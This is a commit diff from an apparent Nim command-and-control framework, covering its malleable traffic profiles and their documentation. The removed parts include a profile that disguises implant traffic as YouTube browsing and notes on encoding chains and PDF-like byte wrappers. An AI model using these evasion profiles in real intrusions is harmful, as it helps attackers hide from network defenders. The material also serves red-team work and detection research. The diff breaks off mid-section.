Compare commits
1 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9415e5b73d |
@@ -53,9 +53,8 @@ The following projects and people have significantly inspired and/or helped with
|
|||||||
- [Creds](https://github.com/S3cur3Th1sSh1t/Creds) by [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/)
|
- [Creds](https://github.com/S3cur3Th1sSh1t/Creds) by [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/)
|
||||||
- [malware](https://github.com/m4ul3r/malware/) by [m4ul3r](https://github.com/m4ul3r/)
|
- [malware](https://github.com/m4ul3r/malware/) by [m4ul3r](https://github.com/m4ul3r/)
|
||||||
- [winim](https://github.com/khchen/winim)
|
- [winim](https://github.com/khchen/winim)
|
||||||
- [OffensiveNim](https://github.com/byt3bl33d3r/OffensiveNim)
|
- [OffensinveNim](https://github.com/byt3bl33d3r/OffensiveNim)
|
||||||
- Existing C2's written (partially) in Nim
|
- Existing C2's written (partially) in Nim
|
||||||
- [NimPlant](https://github.com/chvancooten/NimPlant)
|
- [NimPlant](https://github.com/chvancooten/NimPlant)
|
||||||
- [Nimhawk](https://github.com/hdbreaker/Nimhawk)
|
- [Nimhawk](https://github.com/hdbreaker/Nimhawk)
|
||||||
- [grc2](https://github.com/andreiverse/grc2)
|
- [grc2](https://github.com/andreiverse/grc2)
|
||||||
- [Nimbo-C2](https://github.com/itaymigdal/Nimbo-C2)
|
|
||||||
Binary file not shown.
|
Before Width: | Height: | Size: 301 KiB |
@@ -20,11 +20,12 @@ task client, "Build conquest client binary":
|
|||||||
|
|
||||||
requires "nim >= 2.2.4"
|
requires "nim >= 2.2.4"
|
||||||
|
|
||||||
|
requires "parsetoml >= 0.7.2"
|
||||||
requires "nimcrypto >= 0.6.4"
|
requires "nimcrypto >= 0.6.4"
|
||||||
requires "tiny_sqlite >= 0.2.0"
|
requires "tiny_sqlite >= 0.2.0"
|
||||||
requires "winim >= 3.9.4"
|
requires "winim >= 3.9.4"
|
||||||
requires "ptr_math >= 0.3.0"
|
requires "ptr_math >= 0.3.0"
|
||||||
requires "imguin >= 1.92.4.0"
|
requires "imguin >= 1.92.2.1"
|
||||||
requires "zippy >= 0.10.16"
|
requires "zippy >= 0.10.16"
|
||||||
requires "mummy >= 0.4.6"
|
requires "mummy >= 0.4.6"
|
||||||
requires "whisky >= 0.1.3"
|
requires "whisky >= 0.1.3"
|
||||||
|
|||||||
@@ -7,9 +7,10 @@ database-file = "data/conquest.db"
|
|||||||
|
|
||||||
# Team server settings (WebSocket server port, users, ...)
|
# Team server settings (WebSocket server port, users, ...)
|
||||||
[team-server]
|
[team-server]
|
||||||
host = "0.0.0.0"
|
|
||||||
port = 37573
|
port = 37573
|
||||||
|
|
||||||
|
# [team-server.users]
|
||||||
|
|
||||||
# ----------------------------------------------------------
|
# ----------------------------------------------------------
|
||||||
# HTTP GET
|
# HTTP GET
|
||||||
# ----------------------------------------------------------
|
# ----------------------------------------------------------
|
||||||
@@ -18,15 +19,14 @@ port = 37573
|
|||||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||||
|
|
||||||
# Defines URI endpoints for HTTP GET requests
|
# Defines URI endpoints for HTTP GET requests
|
||||||
# This has to be an array, even if it only has one member
|
|
||||||
endpoints = [
|
endpoints = [
|
||||||
"/get",
|
"/get",
|
||||||
"/api/v1.2/status.js"
|
"/api/v1.2/status.js"
|
||||||
]
|
]
|
||||||
|
|
||||||
# Defines where the heartbeat is placed within the HTTP GET request
|
# Defines where the heartbeat is placed within the HTTP GET request
|
||||||
# Allows for optional data transformation using encoding (base64, hex, ...), appending and prepending of strings
|
# Allows for data transformation using encoding (base64, ...), appending and prepending of strings
|
||||||
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter or request body
|
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body
|
||||||
# Encoding is only applied to the payload and not the prepended or appended strings
|
# Encoding is only applied to the payload and not the prepended or appended strings
|
||||||
[http-get.agent.heartbeat]
|
[http-get.agent.heartbeat]
|
||||||
placement = { type = "header", name = "Authorization" }
|
placement = { type = "header", name = "Authorization" }
|
||||||
@@ -36,26 +36,13 @@ suffix = ".######################################-####"
|
|||||||
|
|
||||||
# Example: PHP session cookie
|
# Example: PHP session cookie
|
||||||
# placement = { type = "header", name = "Cookie" }
|
# placement = { type = "header", name = "Cookie" }
|
||||||
# encoding = { type = "base64", url-safe = true }
|
|
||||||
# prefix = "PHPSESSID="
|
# prefix = "PHPSESSID="
|
||||||
# suffix = ", path=/"
|
# suffix = ", path=/"
|
||||||
|
# encoding = { type = "base64", url-safe = true }
|
||||||
|
|
||||||
# Example: Hex string in GET parameter
|
# Other examples
|
||||||
# placement = { type = "query", name = "id" }
|
# placement = { type = "parameter", name = "id" }
|
||||||
# encoding = { type = "hex" }
|
# placement = { type = "uri" }
|
||||||
|
|
||||||
# Example: Data encoded with multiple techniques in GET request body
|
|
||||||
# placement = { type = "body" }
|
|
||||||
# encoding = [
|
|
||||||
# { type = "rot", key = 5 },
|
|
||||||
# { type = "base64" }
|
|
||||||
# ]
|
|
||||||
|
|
||||||
# Example: Binary prefix (PDF header)
|
|
||||||
# placement = { type = "body" }
|
|
||||||
# encoding = { type = "xor", key = 100 }
|
|
||||||
# prefix = [0x25, 0x50, 0x44, 0x46]
|
|
||||||
# suffix = [0x25, 0x25, 0x45, 0x4F, 0x46]
|
|
||||||
|
|
||||||
# Defines arbitrary URI parameters that are added to the request
|
# Defines arbitrary URI parameters that are added to the request
|
||||||
[http-get.agent.parameters]
|
[http-get.agent.parameters]
|
||||||
@@ -97,50 +84,32 @@ placement = { type = "body" }
|
|||||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||||
|
|
||||||
# Defines URI endpoints for HTTP POST requests
|
# Defines URI endpoints for HTTP POST requests
|
||||||
# This has to be an array, even if it only has one member
|
|
||||||
endpoints = [
|
endpoints = [
|
||||||
"/post",
|
"/post",
|
||||||
"/api/v2/get.js"
|
"/api/v2/get.js"
|
||||||
]
|
]
|
||||||
|
|
||||||
# Post request can also be sent with a different HTTP verb (PUT, GET, ...)
|
# Post request can also be sent with the HTTP verb PUT instead
|
||||||
request-methods = [
|
request-methods = [
|
||||||
"POST",
|
"POST",
|
||||||
"PUT"
|
"PUT"
|
||||||
]
|
]
|
||||||
|
|
||||||
# Defines arbitrary request headers that are added to the POST request
|
|
||||||
[http-post.agent.headers]
|
[http-post.agent.headers]
|
||||||
Host = [
|
Host = [
|
||||||
"wikipedia.org",
|
"wikipedia.org",
|
||||||
"google.com",
|
"google.com",
|
||||||
"127.0.0.1"
|
"127.0.0.1"
|
||||||
]
|
]
|
||||||
Content-Type = "text/plain"
|
Content-Type = "application/octet-stream"
|
||||||
Connection = "Keep-Alive"
|
Connection = "Keep-Alive"
|
||||||
Cache-Control = "no-cache"
|
Cache-Control = "no-cache"
|
||||||
|
|
||||||
# Defines arbitrary query parameters that are added to the URI
|
|
||||||
[http-post.agent.parameters]
|
|
||||||
lang = [
|
|
||||||
"en-US",
|
|
||||||
"de-AT"
|
|
||||||
]
|
|
||||||
page = "1$" # The $ character is replaced with a random number
|
|
||||||
|
|
||||||
# Defines how the POST requests made by the agents look like
|
|
||||||
# For modules that involve large file transfers, it is not recommended to place the task output in a header or query parameter, as this will exceed the header size
|
|
||||||
# Placing this type of data in the body is highly recommended
|
|
||||||
[http-post.agent.output]
|
[http-post.agent.output]
|
||||||
placement = { type = "body" }
|
placement = { type = "body" }
|
||||||
encoding = { type = "hex" }
|
|
||||||
# prefix = "<START>"
|
|
||||||
# suffix = "<END>"
|
|
||||||
|
|
||||||
# Defines arbitrary response headers added by the server
|
|
||||||
[http-post.server.headers]
|
[http-post.server.headers]
|
||||||
Server = "nginx"
|
Server = "nginx"
|
||||||
|
|
||||||
# Defines data that is returned in the body of the server's response
|
|
||||||
[http-post.server.output]
|
[http-post.server.output]
|
||||||
body = "Ok"
|
placement = { type = "body" }
|
||||||
@@ -1,141 +0,0 @@
|
|||||||
# Conquest youtube video profile
|
|
||||||
name = "youtube-video-profile"
|
|
||||||
|
|
||||||
# Important file paths and locations
|
|
||||||
private-key-file = "data/keys/conquest-server_x25519_private.key"
|
|
||||||
database-file = "data/conquest.db"
|
|
||||||
|
|
||||||
# Team server settings (WebSocket server port, users, ...)
|
|
||||||
[team-server]
|
|
||||||
host = "0.0.0.0"
|
|
||||||
port = 37573
|
|
||||||
|
|
||||||
# ----------------------------------------------------------
|
|
||||||
# HTTP GET
|
|
||||||
# ----------------------------------------------------------
|
|
||||||
# Defines URI endpoints for HTTP GET requests
|
|
||||||
[http-get]
|
|
||||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
|
||||||
|
|
||||||
# Defines URI endpoints for HTTP GET requests
|
|
||||||
endpoints = [
|
|
||||||
"/watch"
|
|
||||||
]
|
|
||||||
|
|
||||||
# Defines where the heartbeat is placed within the HTTP GET request
|
|
||||||
[http-get.agent.heartbeat]
|
|
||||||
placement = { type = "header", name = "Cookie" }
|
|
||||||
encoding = { type = "base64", url-safe = true }
|
|
||||||
prefix = "YSC=###########; SOCS=##############################################; VISITOR_PRIVACY_METADATA="
|
|
||||||
suffix = "; __Secure-1PSIDTS=sidts-#######_##########################################_#########################; __Secure-3PSIDTS=sidts-#######_##########################################_#########################; HSID=####################;"
|
|
||||||
|
|
||||||
# Defines arbitrary URI parameters that are added to the request
|
|
||||||
[http-get.agent.parameters]
|
|
||||||
v = "###########"
|
|
||||||
|
|
||||||
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
|
|
||||||
[http-get.agent.headers]
|
|
||||||
Host = "www.youtube.com"
|
|
||||||
Sec-Ch-Ua = "\"Not.A/Brand\";v=\"99\", \"Chromium\";v=\"136\""
|
|
||||||
Sec-Ch-Ua-Mobile = "?0"
|
|
||||||
Sec-Ch-Ua-Full-Version = "\"\""
|
|
||||||
Sec-Ch-Ua-Arch = "\"\""
|
|
||||||
Sec-Ch-Ua-Platform = "\"Windows\""
|
|
||||||
Sec-Ch-Ua-Platform-Version = "\"\""
|
|
||||||
Sec-Ch-Ua-Model = "\"\""
|
|
||||||
Sec-Ch-Ua-Bitness = "\"\""
|
|
||||||
Sec-Ch-Ua-Wow64 = "?0"
|
|
||||||
Accept-Language = [
|
|
||||||
"en-US,en;q=0.9",
|
|
||||||
"de-AT,de;q=0.9,en;q=0.8"
|
|
||||||
]
|
|
||||||
Upgrade-Insecure-Requests = "1"
|
|
||||||
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
|
|
||||||
Service-Worker-Navigation-Preload = "true"
|
|
||||||
Sec-Fetch-Site = "none"
|
|
||||||
Sec-Fetch-Mode = "navigate"
|
|
||||||
Sec-Fetch-User = "?1"
|
|
||||||
Sec-Fetch-Dest = "document"
|
|
||||||
Priority = "u=0, i"
|
|
||||||
|
|
||||||
# Defines arbitrary headers that are added to the server\"s response
|
|
||||||
[http-get.server.headers]
|
|
||||||
Content-Type = "text/html; charset=utf-8"
|
|
||||||
X-Content-Type-Options = "nosniff"
|
|
||||||
Cache-Control = "no-cache, no-store, max-age=0, must-revalidate"
|
|
||||||
Pragma = "no-cache"
|
|
||||||
Expires = "Mon, 01 Jan 1990 00:00:00 GMT"
|
|
||||||
Strict-Transport-Security = "max-age=31536000"
|
|
||||||
X-Frame-Options = "SAMEORIGIN"
|
|
||||||
Content-Security-Policy = "require-trusted-types-for \"script\""
|
|
||||||
Server = "ESF"
|
|
||||||
X-Xss-Protection = "0"
|
|
||||||
P3p = "CP=\"This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=de for more info.\""
|
|
||||||
Alt-Svc = "h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000"
|
|
||||||
Set-Cookie = "__Secure-YEC=##############################################################################; Domain=.youtube.com; Expires=Mon, 07-Dec-2026 11:39:54 GMT; Path=/; Secure; HttpOnly; SameSite=lax"
|
|
||||||
|
|
||||||
# Defines how the server"s response to the task retrieval request is rendered
|
|
||||||
[http-get.server.output]
|
|
||||||
placement = { type = "body" }
|
|
||||||
encoding = { type = "base64" }
|
|
||||||
prefix = "<!DOCTYPE html><html style=\"font-size: 10px;font-family: Roboto, Arial, sans-serif;\" lang=\"de-DE\"><head><script data-id=\"_gd\" nonce=\"iqZzTrtVB86B0KRGblxg9Q\">window.WIZ_global_data = {\"HiPsbb\":0,\"MUE6Ne\":\"youtube_web\",\"MuJWjd\":false};</script><meta http-equiv=\"origin-trial\" content=\""
|
|
||||||
suffix = "\"/><script nonce=\"iqZzTrtVB86B0KRGblxg9Q\">var ytcfg={d:function(){return window.yt&&yt.config_||ytcfg.data_||(ytcfg.data_={})},get:function(k,o){return k in ytcfg.d()?ytcfg.d()[k]:o},set:function(){var a=arguments;if(a.length>1)ytcfg.d()[a[0]]=a[1];else{var k;for(k in a[0])ytcfg.d()[k]=a[0][k]}}};window.ytcfg.set(\"EMERGENCY_BASE_URL\", \"/error_204?"
|
|
||||||
|
|
||||||
# ----------------------------------------------------------
|
|
||||||
# HTTP POST
|
|
||||||
# ----------------------------------------------------------
|
|
||||||
[http-post]
|
|
||||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
|
||||||
|
|
||||||
# Defines URI endpoints for HTTP POST requests
|
|
||||||
endpoints = [
|
|
||||||
"/youtubei/v1/like/like",
|
|
||||||
"/youtubei/v1/log_event",
|
|
||||||
"/youtubei/v1/player"
|
|
||||||
]
|
|
||||||
|
|
||||||
# Post request can also be sent with the HTTP verb PUT instead
|
|
||||||
request-methods = "POST"
|
|
||||||
|
|
||||||
[http-post.agent.headers]
|
|
||||||
Host = "www.youtube.com"
|
|
||||||
Referer = "https://www.youtube.com/watch?v=###########"
|
|
||||||
Content-Type = "application/json"
|
|
||||||
Connection = "Keep-Alive"
|
|
||||||
Cache-Control = "no-cache"
|
|
||||||
Sec-Ch-Ua = "\"Not.A/Brand\";v=\"99\", \"Chromium\";v=\"136\""
|
|
||||||
Sec-Ch-Ua-Mobile = "?0"
|
|
||||||
Sec-Ch-Ua-Full-Version = "\"\""
|
|
||||||
Sec-Ch-Ua-Arch = "\"\""
|
|
||||||
Sec-Ch-Ua-Platform = "\"Windows\""
|
|
||||||
Sec-Ch-Ua-Platform-Version = "\"\""
|
|
||||||
Sec-Ch-Ua-Model = "\"\""
|
|
||||||
Sec-Ch-Ua-Bitness = "\"\""
|
|
||||||
Sec-Ch-Ua-Wow64 = "?0"
|
|
||||||
Cookie = "YSC=###########; SOCS=##############################################; VISITOR_PRIVACY_METADATA=##################################################################; __Secure-1PSIDTS=sidts-#######_##########################################_#########################; __Secure-3PSIDTS=sidts-#######_##########################################_#########################; HSID=####################;"
|
|
||||||
|
|
||||||
[http-post.agent.parameters]
|
|
||||||
pretty-print = [
|
|
||||||
"true",
|
|
||||||
"false"
|
|
||||||
]
|
|
||||||
|
|
||||||
[http-post.agent.output]
|
|
||||||
placement = { type = "body" }
|
|
||||||
encoding = { type = "base64", url-safe = true }
|
|
||||||
prefix = "{\"context\":{\"client\":{\"hl\":\"de\",\"gl\":\"AT\",\"remoteHost\":\"$$.1$$.$$.1$$\",\"deviceMake\":\"\",\"deviceModel\":\"\",\"visitorData\":\"Cgt1M016MzRrZmhTUSj12MbIBjInCgJBVBIhEh0SGwsMDg8QERITFBUWFxgZGhscHR4fICEiIyQlJiBe\",\"userAgent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36,gzip(gfe)\",\"clientName\":\"WEB\",\"clientVersion\":\"2.20251107.01.00\",\"osName\":\"Windows\",\"osVersion\":\"10.0\",\"originalUrl\":\"https://www.youtube.com/\",\"screenPixelDensity\":2,\"platform\":\"DESKTOP\",\"clientFormFactor\":\"UNKNOWN_FORM_FACTOR\",\"configInfo\":{\"appInstallData\":\""
|
|
||||||
suffix = "\"},\"screenDensityFloat\":1.5,\"userInterfaceTheme\":\"USER_INTERFACE_THEME_DARK\",\"timeZone\":\"Europe/Vienna\",\"browserName\":\"Chrome\",\"browserVersion\":\"142.0.0.0\",\"acceptHeader\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"deviceExperimentId\":\"ChxOelUzTVRBeU1qQTJPVEV4TkRFNU5qUXhOQT09EPXYxsgGGPXYxsgG\",\"rolloutToken\":\"CJu4u9qz64jjcxCr8dad-t-QAxjzyIbunueQAw%3D%3D\",\"screenWidthPoints\":1920,\"screenHeightPoints\":1065,\"utcOffsetMinutes\":60,\"connectionType\":\"CONN_CELLULAR_3G\",\"memoryTotalKbytes\":\"8000000\",\"mainAppWebInfo\":{\"graftUrl\":\"https://www.youtube.com/watch?v=###########&list=RD4WIMyqBG9gs&start_radio=1\",\"pwaInstallabilityStatus\":\"PWA_INSTALLABILITY_STATUS_UNKNOWN\",\"webDisplayMode\":\"WEB_DISPLAY_MODE_BROWSER\",\"isWebNativeShareAvailable\":true}},\"user\":{\"lockedSafetyMode\":false},\"request\":{\"useSsl\":true,\"internalExperimentFlags\":[],\"consistencyTokenJars\":[]},\"clickTracking\":{\"clickTrackingParams\":\"CJgFEKVBIhMIucGi957nkAMVneRJBx3cFhscygEErMFOaw==\"},\"adSignalsInfo\":{\"params\":[{\"key\":\"dt\",\"value\":\"1762765953510\"},{\"key\":\"flash\",\"value\":\"0\"},{\"key\":\"frm\",\"value\":\"0\"},{\"key\":\"u_tz\",\"value\":\"60\"},{\"key\":\"u_his\",\"value\":\"4\"},{\"key\":\"u_h\",\"value\":\"1200\"},{\"key\":\"u_w\",\"value\":\"1920\"},{\"key\":\"u_ah\",\"value\":\"1152\"},{\"key\":\"u_aw\",\"value\":\"1920\"},{\"key\":\"u_cd\",\"value\":\"24\"},{\"key\":\"bc\",\"value\":\"31\"},{\"key\":\"bih\",\"value\":\"1065\"},{\"key\":\"biw\",\"value\":\"1905\"},{\"key\":\"brdim\",\"value\":\"0,0,0,0,1920,0,1920,1152,1920,1065\"},{\"key\":\"vis\",\"value\":\"1\"},{\"key\":\"wgl\",\"value\":\"true\"},{\"key\":\"ca_type\",\"value\":\"image\"}],\"bid\":\"ANyPxKqp2RGW0TLEXMjNbBRm6ZPDYteE8iHnYK0DaJMOiTEHrbqefZtn6qfK_MhA2-ZgnoosEwKaN8pi77jJRptRzz5Rsm-P_w\"}},\"target\":{\"videoId\":\"###########\"},\"params\":\"Cg0KCzRXSU15cUJHOWdzIAAyDAiJ2cbIBhCm6ueLAQ%3D%3D\"}"
|
|
||||||
|
|
||||||
[http-post.server.headers]
|
|
||||||
Content-Type = "application/json; charset=utf-8"
|
|
||||||
X-Content-Type-Options = "nosniff"
|
|
||||||
Cache-Control = "no-cache, no-store, max-age=0, must-revalidate"
|
|
||||||
Pragma = "no-cache"
|
|
||||||
Expires = "Mon, 01 Jan 1990 00:00:00 GMT"
|
|
||||||
Server = "ESF"
|
|
||||||
X-Xss-Protection = "0"
|
|
||||||
Strict-Transport-Security = "max-age=31536000"
|
|
||||||
Alt-Svc = "h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000"
|
|
||||||
|
|
||||||
[http-post.server.output]
|
|
||||||
body = "{\"responseContext\": {}}"
|
|
||||||
@@ -6,16 +6,13 @@
|
|||||||
- [Team server settings](#team-server-settings)
|
- [Team server settings](#team-server-settings)
|
||||||
- [GET settings](#get-settings)
|
- [GET settings](#get-settings)
|
||||||
- [Data transformation](#data-transformation)
|
- [Data transformation](#data-transformation)
|
||||||
- [Chaining Encodings](#chaining-encodings)
|
|
||||||
- [Binary Prefix/Suffix](#binary-prefixsuffix)
|
|
||||||
- [More Examples](#more-examples)
|
|
||||||
- [Request options](#request-options)
|
- [Request options](#request-options)
|
||||||
- [Response options](#response-options)
|
- [Response options](#response-options)
|
||||||
- [POST settings](#post-settings)
|
- [POST settings](#post-settings)
|
||||||
|
|
||||||
## General
|
## General
|
||||||
|
|
||||||
Conquest supports malleable C2 profiles written using the TOML configuration language and fully support the TOML v1.0.0 spec. This allows the complete customization of network traffic using data transformation, encoding and randomization. Wildcard characters `#` are replaced by a random alphanumerical character, making it possible to add even more variation to requests via randomized parameters or cookies. There is also the `$` wildcard, which is replaced by a single digit, for randomizing numeric values.
|
Conquest supports malleable C2 profiles written using the TOML configuration language. This allows the complete customization of network traffic using data transformation, encoding and randomization. Wildcard characters `#` are replaced by a random alphanumerical character, making it possible to add even more variation to requests via randomized parameters or cookies.
|
||||||
|
|
||||||
General settings that are defined at the beginning of the profile are the profile name and the relative location of important files, such as the team server's private key or the Conquest database.
|
General settings that are defined at the beginning of the profile are the profile name and the relative location of important files, such as the team server's private key or the Conquest database.
|
||||||
|
|
||||||
@@ -26,11 +23,10 @@ database-file = "data/conquest.db"
|
|||||||
```
|
```
|
||||||
|
|
||||||
## Team server settings
|
## Team server settings
|
||||||
The team server settings currently only include the host and port that the team server uses for the Websocket handler. It is set under the `[toml-server]` block. By default, the team server listens on all interfaces on port 37573 for client connections.
|
The team server settings currently only include the port that the team server uses for the Websocket handler. It is set under the `[toml-server]` block.
|
||||||
|
|
||||||
```toml
|
```toml
|
||||||
[team-server]
|
[team-server]
|
||||||
host = "0.0.0.0"
|
|
||||||
port = 37573
|
port = 37573
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -53,13 +49,12 @@ A huge advantage of Conquest's C2 profile is the customization of where the hear
|
|||||||
|
|
||||||
| Name | Type | Description |
|
| Name | Type | Description |
|
||||||
| --- | --- | --- |
|
| --- | --- | --- |
|
||||||
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `query` and `body`.|
|
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `parameter`, `uri`, `body`|
|
||||||
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
|
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
|
||||||
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `hex`, `rot`, `xor` and `none` (default) |
|
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `none` (default) |
|
||||||
| encoding.url-safe | BOOL | Only used if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. Default: `false` |
|
| encoding.url-safe | BOOL | Only required if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. |
|
||||||
| encoding.key | INTEGER | Only used if encoding.type is set to `xor` or `rot`. The `rot` setting applies a Caesar cipher, while `xor` simply XOR-encodes the data. |
|
| prefix | STRING | String to prepend before the heartbeat payload. |
|
||||||
| prefix | STRING/ARRAY | String to prepend before the heartbeat payload. |
|
| suffix | STRING | String to append after the heartbeat payload. |
|
||||||
| suffix | STRING/ARRAY | String to append after the heartbeat payload. |
|
|
||||||
|
|
||||||
The order of operations is:
|
The order of operations is:
|
||||||
1. Encoding
|
1. Encoding
|
||||||
@@ -71,6 +66,9 @@ On the other hand, the server processes the requests in the following order:
|
|||||||
2. Removal of prefix & suffix
|
2. Removal of prefix & suffix
|
||||||
3. Decoding
|
3. Decoding
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> Heartbeat placement is currently only implemented for `header` and `parameter`, as those are the most commonly used options.
|
||||||
|
|
||||||
To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request.
|
To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request.
|
||||||
|
|
||||||
```toml
|
```toml
|
||||||
@@ -83,36 +81,8 @@ suffix = ".######################################-####"
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
#### Chaining Encodings
|
|
||||||
|
|
||||||
Multiple encodings can be applied to a packet by defining them in an array of inline-tables, as seen in the example below. The encodings are applied in the order they are defined in the profile. During the decoding of the data transformation, this order is reversed. Hence, the example below first applies the ROT encoding with the key 5 on the data and later base64-encodes it. The reversal starts with the base64-decoding and a rotation in the opposite direction.
|
|
||||||
|
|
||||||
```toml
|
|
||||||
placement = { type = "body" }
|
|
||||||
encoding = [
|
|
||||||
{ type = "rot", key = 5 },
|
|
||||||
{ type = "base64" }
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Binary Prefix/Suffix
|
|
||||||
|
|
||||||
Instead of using strings for the prefix and suffix, it is also possible to use an array of integers to define the bytes that will be prepended/appended. Hex-formatting is supported, so something like the following can be used. This is useful to create requests that resemble binary data, such as PNGs and PDFs.
|
|
||||||
|
|
||||||
```toml
|
|
||||||
placement = { type = "body" }
|
|
||||||
encoding = { type = "xor", key = 100 }
|
|
||||||
prefix = [0x25, 0x50, 0x44, 0x46] # %PDF
|
|
||||||
suffix = [0x25, 0x25, 0x45, 0x4F, 0x46] # %%EOF
|
|
||||||
```
|
|
||||||
|
|
||||||
#### More Examples
|
|
||||||
|
|
||||||
Check the [default profile](../data/profile.toml) for more examples.
|
Check the [default profile](../data/profile.toml) for more examples.
|
||||||
|
|
||||||
Other example profiles:
|
|
||||||
- [youtube.profile](../data/youtube.toml): Traffic that resembles watching and interacting with Youtube videos.
|
|
||||||
|
|
||||||
### Request options
|
### Request options
|
||||||
|
|
||||||
The profile language makes is further possible to add parameters and headers. When arrays are passed to these settings instead of strings, a random member of the array is chosen. Again, character randomization can be used to break up repeating patterns.
|
The profile language makes is further possible to add parameters and headers. When arrays are passed to these settings instead of strings, a random member of the array is chosen. Again, character randomization can be used to break up repeating patterns.
|
||||||
@@ -157,26 +127,24 @@ placement = { type = "body" }
|
|||||||
|
|
||||||
## POST settings
|
## POST settings
|
||||||
|
|
||||||
HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT. Under `[http-post.agent.output]`, it is possible to define how the POST requests made to the server by the agents look like. The same data transformation techniques can be applied. For example, it would be possible to hide task output as a base64 string within a JSON object. The `[http-post.server.output]` block can be used to customize the server's response.
|
HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT.
|
||||||
|
|
||||||
```toml
|
```toml
|
||||||
[http-post]
|
[http-post]
|
||||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||||
|
|
||||||
# Defines URI endpoints for HTTP POST requests
|
# Defines URI endpoints for HTTP POST requests
|
||||||
# This has to be an array, even if it only has one member
|
|
||||||
endpoints = [
|
endpoints = [
|
||||||
"/post",
|
"/post",
|
||||||
"/api/v2/get.js"
|
"/api/v2/get.js"
|
||||||
]
|
]
|
||||||
|
|
||||||
# Post request can also be sent with a different HTTP verb (PUT, GET, ...)
|
# Post request can also be sent with the HTTP verb PUT instead
|
||||||
request-methods = [
|
request-methods = [
|
||||||
"POST",
|
"POST",
|
||||||
"PUT"
|
"PUT"
|
||||||
]
|
]
|
||||||
|
|
||||||
# Defines arbitrary request headers that are added to the POST request
|
|
||||||
[http-post.agent.headers]
|
[http-post.agent.headers]
|
||||||
Host = [
|
Host = [
|
||||||
"wikipedia.org",
|
"wikipedia.org",
|
||||||
@@ -187,28 +155,14 @@ Content-Type = "application/octet-stream"
|
|||||||
Connection = "Keep-Alive"
|
Connection = "Keep-Alive"
|
||||||
Cache-Control = "no-cache"
|
Cache-Control = "no-cache"
|
||||||
|
|
||||||
# Defines arbitrary query parameters that are added to the URI
|
|
||||||
[http-post.agent.parameters]
|
|
||||||
lang = [
|
|
||||||
"en-US",
|
|
||||||
"de-AT"
|
|
||||||
]
|
|
||||||
|
|
||||||
# Defines how the POST requests made by the agents look like
|
|
||||||
# Placing this type of data in the body is highly recommended due to the size of certain task results
|
|
||||||
[http-post.agent.output]
|
[http-post.agent.output]
|
||||||
placement = { type = "body" }
|
placement = { type = "body" }
|
||||||
encoding = { type = "none" }
|
|
||||||
# prefix = ""
|
|
||||||
# suffix = ""
|
|
||||||
|
|
||||||
# Defines arbitrary response headers added by the server
|
|
||||||
[http-post.server.headers]
|
[http-post.server.headers]
|
||||||
Server = "nginx"
|
Server = "nginx"
|
||||||
|
|
||||||
# Defines data that is returned in the body of the server's response
|
|
||||||
[http-post.server.output]
|
[http-post.server.output]
|
||||||
body = ""
|
placement = { type = "body" }
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
@@ -304,14 +304,13 @@ Arguments:
|
|||||||
### upload
|
### upload
|
||||||
Upload a file from the operator Desktop to the targe system.
|
